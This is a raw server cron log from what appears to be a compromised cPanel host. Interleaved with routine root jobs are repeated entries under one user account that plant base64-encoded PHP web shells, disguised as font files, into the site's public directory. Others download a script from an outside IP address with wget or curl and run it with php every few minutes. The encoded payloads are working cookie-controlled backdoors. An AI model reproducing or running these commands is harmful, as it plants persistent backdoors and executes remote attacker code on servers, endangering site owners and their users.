Sep  2 21:19:01 ip-184-168-122-23 CROND[13832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:19:01 ip-184-168-122-23 CROND[13833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:19:01 ip-184-168-122-23 CROND[13834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13931]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13934]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13939]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:20:01 ip-184-168-122-23 CROND[13935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:20:01 ip-184-168-122-23 CROND[13946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:21:01 ip-184-168-122-23 CROND[14029]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:21:01 ip-184-168-122-23 CROND[14031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:21:01 ip-184-168-122-23 CROND[14032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:21:01 ip-184-168-122-23 CROND[14033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:22:01 ip-184-168-122-23 CROND[14119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:22:01 ip-184-168-122-23 CROND[14120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:22:01 ip-184-168-122-23 CROND[14124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:22:01 ip-184-168-122-23 CROND[14123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:22:01 ip-184-168-122-23 CROND[14125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:23:01 ip-184-168-122-23 CROND[14290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:23:01 ip-184-168-122-23 CROND[14293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:23:01 ip-184-168-122-23 CROND[14292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:23:01 ip-184-168-122-23 CROND[14294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:24:01 ip-184-168-122-23 CROND[14373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:24:01 ip-184-168-122-23 CROND[14376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:24:01 ip-184-168-122-23 CROND[14377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:24:01 ip-184-168-122-23 CROND[14375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:24:01 ip-184-168-122-23 CROND[14378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:25:01 ip-184-168-122-23 CROND[14481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:25:01 ip-184-168-122-23 CROND[14483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:25:01 ip-184-168-122-23 CROND[14484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:25:01 ip-184-168-122-23 CROND[14485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:25:01 ip-184-168-122-23 CROND[14486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:25:01 ip-184-168-122-23 CROND[14487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:26:01 ip-184-168-122-23 CROND[14583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:26:01 ip-184-168-122-23 CROND[14585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:26:01 ip-184-168-122-23 CROND[14586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:26:01 ip-184-168-122-23 CROND[14588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:26:01 ip-184-168-122-23 CROND[14587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:27:01 ip-184-168-122-23 CROND[14677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:27:01 ip-184-168-122-23 CROND[14679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:27:01 ip-184-168-122-23 CROND[14682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:27:01 ip-184-168-122-23 CROND[14681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:28:01 ip-184-168-122-23 CROND[14845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:28:01 ip-184-168-122-23 CROND[14849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:28:01 ip-184-168-122-23 CROND[14847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:28:01 ip-184-168-122-23 CROND[14850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:28:01 ip-184-168-122-23 CROND[14848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:29:01 ip-184-168-122-23 CROND[14936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:29:01 ip-184-168-122-23 CROND[14934]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:29:01 ip-184-168-122-23 CROND[14935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:29:01 ip-184-168-122-23 CROND[14937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:30:01 ip-184-168-122-23 CROND[15020]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 21:30:01 ip-184-168-122-23 CROND[15022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 21:30:01 ip-184-168-122-23 CROND[15025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 21:30:01 ip-184-168-122-23 CROND[15028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 21:30:01 ip-184-168-122-23 CROND[15030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 21:30:01 ip-184-168-122-23 CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 21:30:01 ip-184-168-122-23 CROND[15033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 21:30:01 ip-184-168-122-23 CROND[15034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 21:31:01 ip-184-168-122-23 CROND[15142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
